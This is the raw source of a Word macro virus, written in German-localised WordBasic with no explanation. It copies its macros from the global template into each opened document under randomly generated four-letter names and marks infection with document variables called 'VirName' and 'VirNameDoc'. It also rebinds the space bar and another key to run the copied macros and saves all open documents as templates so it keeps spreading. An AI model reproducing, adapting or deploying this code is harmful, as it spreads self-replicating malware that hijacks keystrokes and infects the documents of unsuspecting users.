Sub MAIN
On Error Goto Finish

A$ = DateiName$()
If A$ = "" Then Goto Finish

CO$ = GetProfileString$("Intl", "Info1")
OC$ = GetProfileString$("Intl", "Info2")

If VInstalled = 1 Then
	Goto Finish
Else
	On Error Resume Next
	DateiSpeichernUnter .Format = 1
	Run1
	Run2
	DateiAllesSpeichern 1, 0
End If

Finish:
A$ = DateiName$()
If A$ = "" Then
	Goto Finito
Else
	Einfügen " "
End If

Finito:
End Sub

Sub Run1
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

CO$ = GetProfileString$("Intl", "Info2")
MakroKopieren "Global:" + CO$, DateiName$() + ":" + Z$, 1
DokumentVariableBestimmen "VirName", Z$
ExtrasAnpassenTastatur .TastenSchlüssel = 32, .Kategorie = 2, .Name = Z$, .Hinzufügen, .Kontext = 1
End Sub

Sub Run2
X$ = Fun$(F$, G$, H$, J$)
Y$ = Fun$(F$, G$, H$, J$)

Z$ = X$ + Y$

OC$ = GetProfileString$("Intl", "Info1")
MakroKopieren "Global:" + OC$, DateiName$() + ":" + Z$, 1
DokumentVariableBestimmen "VirNameDoc", Z$
ExtrasAnpassenTastatur .TastenSchlüssel = 69, .Kategorie = 2, .Name = Z$, .Hinzufügen, .Kontext = 1
End Sub

Function VInstalled
On Error Resume Next
CC$ = AbrufenDokumentVar$("VirNameDoc")
	VInstalled = 0
	If ZählenMakros(1) > 0 Then
		For i = 1 To ZählenMakros(1)
			If MakroName$(i, 1) = CC$ Then
				VInstalled = 1
			End If
		Next i
	End If
End Function

Function Fun$(F$, G$, H$, J$)
One = 1169
Two = 9294
Num = Int(Rnd() * (Two - One) + One)
A$ = Str$(Num)
A$ = LTrim$(A$)

B$ = Mid$(A$, 1, 1)
C$ = Mid$(A$, 2, 1)
D$ = Mid$(A$, 3, 1)
E$ = Mid$(A$, 4, 1)

If B$ = "1" Then F$ = "A"
If B$ = "2" Then F$ = "B"
If B$ = "3" Then F$ = "C"
If B$ = "4" Then F$ = "D"
If B$ = "5" Then F$ = "E"
If B$ = "6" Then F$ = "F"
If B$ = "7" Then F$ = "G"
If B$ = "8" Then F$ = "H"
If B$ = "9" Then F$ = "I"
If B$ = "0" Then F$ = "J"

If C$ = "1" Then G$ = "H"
If C$ = "2" Then G$ = "I"
If C$ = "3" Then G$ = "J"
If C$ = "4" Then G$ = "K"
If C$ = "5" Then G$ = "L"
If C$ = "6" Then G$ = "M"
If C$ = "7" Then G$ = "N"
If C$ = "8" Then G$ = "O"
If C$ = "9" Then G$ = "P"
If C$ = "0" Then G$ = "Q"

If D$ = "1" Then H$ = "A"
If D$ = "2" Then H$ = "B"
If D$ = "3" Then H$ = "C"
If D$ = "4" Then H$ = "D"
If D$ = "5" Then H$ = "E"
If D$ = "6" Then H$ = "F"
If D$ = "7" Then H$ = "G"
If D$ = "8" Then H$ = "H"
If D$ = "9" Then H$ = "I"
If D$ = "0" Then H$ = "J"

If E$ = "1" Then J$ = "R"
If E$ = "2" Then J$ = "S"
If E$ = "3" Then J$ = "T"
If E$ = "4" Then J$ = "U"
If E$ = "5" Then J$ = "V"
If E$ = "6" Then J$ = "W"
If E$ = "7" Then J$ = "X"
If E$ = "8" Then J$ = "Y"
If E$ = "9" Then J$ = "Z"
If E$ = "0" Then J$ = "Q"

Fun$ = F$ + G$ + H$ + J$
End Function